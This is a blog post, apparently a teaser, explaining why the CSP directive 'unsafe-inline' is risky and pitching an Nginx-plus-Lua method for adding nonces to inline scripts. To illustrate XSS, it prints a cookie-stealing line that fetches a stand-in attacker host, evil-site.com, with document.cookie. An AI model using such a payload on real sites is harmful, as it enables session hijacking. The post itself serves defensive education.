If you've ever opened your browser console on your "totally secure" website and witnessed a barrage of Content-Security-Policy warnings, welcome to the club. And if your CSP contains the infamous unsafe-inline directive – we might just share a drink at the next security conference. Just make sure to hide that drink from the actual security experts.

The Problem With 'unsafe-inline'

Let's be honest: not every website needs to obsess over eliminating unsafe-inline. If you're running a simple blog or a five-page brochure site with zero user data and no admin panels, you probably have bigger fish to fry. The security purists might disagree (they always do), but pragmatism has its place in web development.

However, if you're handling sensitive user data, have authentication systems, run an e-commerce platform, or face compliance requirements, that unsafe-inline directive is essentially telling browsers: "Hey, execute whatever inline JavaScript you find on this page, no questions asked." It's like leaving your front door open with a sign saying "Valuables inside, security system disabled."

To illustrate how this works in practice, consider this XSS attack scenario:

class="user-comment">
  Thanks for the article!
  
    fetch('https://evil-site.com/steal-cookies?c=' + document.cookie);

With unsafe-inline in your CSP, this malicious script runs without restrictions. Remove it and use nonces instead, and the browser blocks it instantly.

The Common Solutions (And Why They're Not Great)

When developers discover they need to get rid of unsafe-inline, they typically try one of these approaches:

Server-Side Solution

Your application code generates a unique nonce for each request, adds it to CSP headers, and inserts it into script tags in the HTML.

The problem? You need to modify application code across potentially hundreds of templates, and it tightly couples security with your application logic.

Nginx's sub_filter Approach

Using nginx's built-in text replacement to insert nonces into script tags.

The problem? It's imprecise, modifying ALL script tags (even external ones that don't need nonces), and it easily breaks on complex HTML patterns. As someone who tried this approach extensively, trust me – it's a world of edge case pain.

CDN or WAF Solutions

Some Content Delivery Networks offer automatic CSP nonce insertion.

The problem? Added latency, significant costs, limited customization, and the joy of explaining to management why you need another expensive service subscription.

The Elegant Lua + Nginx Solution

What if I told you there's a solution that:

  • Requires zero changes to your application code
  • Only modifies inline scripts, leaving external scripts untouched
  • Handles all types of HTML patterns with surgical precision
  • Adds less than 1ms of latency to responses
  • Doesn't require any external services
  • Works with any backend (PHP, Node.js, static files, etc.)

Enter our hero: Lua with Nginx. This approach leverages Nginx's event-driven architecture and Lua's scripting capabilities to create a powerful system that:

  1. Generates a cryptographically secure nonce for each request
  2. Adds the appropriate CSP header with this nonce
  3. Precisely identifies and modifies only inline script tags
  4. Handles edge cases like event handlers and JavaScript URIs

The solution is transparent to your application, works with any backend technology, and scales beautifully. It's like having a security expert silently fix your CSP issues without bothering you about it.

A Glimpse Under the Hood

Without diving into detailed code, the magic happens by integrating with Nginx at three key points:

  1. Init Phase: Initialize Lua modules when Nginx starts
  2. Header Filter Phase: Generate a nonce and set CSP headers
  3. Body Filter Phase: Process HTML to add nonces only to inline scripts

The beauty of this approach is that it's non-blocking and processes content in a streaming fashion, adding minimal overhead to your responses. Plus, it's completely independent of your application code.

Convinced Yet?

This approach has successfully eliminated unsafe-inline on production systems handling millions of requests per day, with less than 1ms of added latency. It's been deployed on everything from WordPress sites to complex React SPAs with zero application code changes.

If you've been putting off fixing your CSP because it seemed too complex or disruptive, this is the solution you've been waiting for.

So... Where's the Actual Code?

I've written a comprehensive guide with full implementation details, code samples, and step-by-step instructions here. The full article includes:

  • Complete Lua code for nonce generation and HTML processing
  • Nginx configuration for different platforms (WordPress, SPAs, etc.)
  • Performance optimization techniques
  • Testing and validation methods
  • Real-world deployment examples

If you're interested in implementing this solution, head over to the full article and let's kill that unsafe-inline directive once and for all.

Remember, the security experts at the conference will be much more willing to share their drinks with you when they don't see unsafe-inline in your response headers.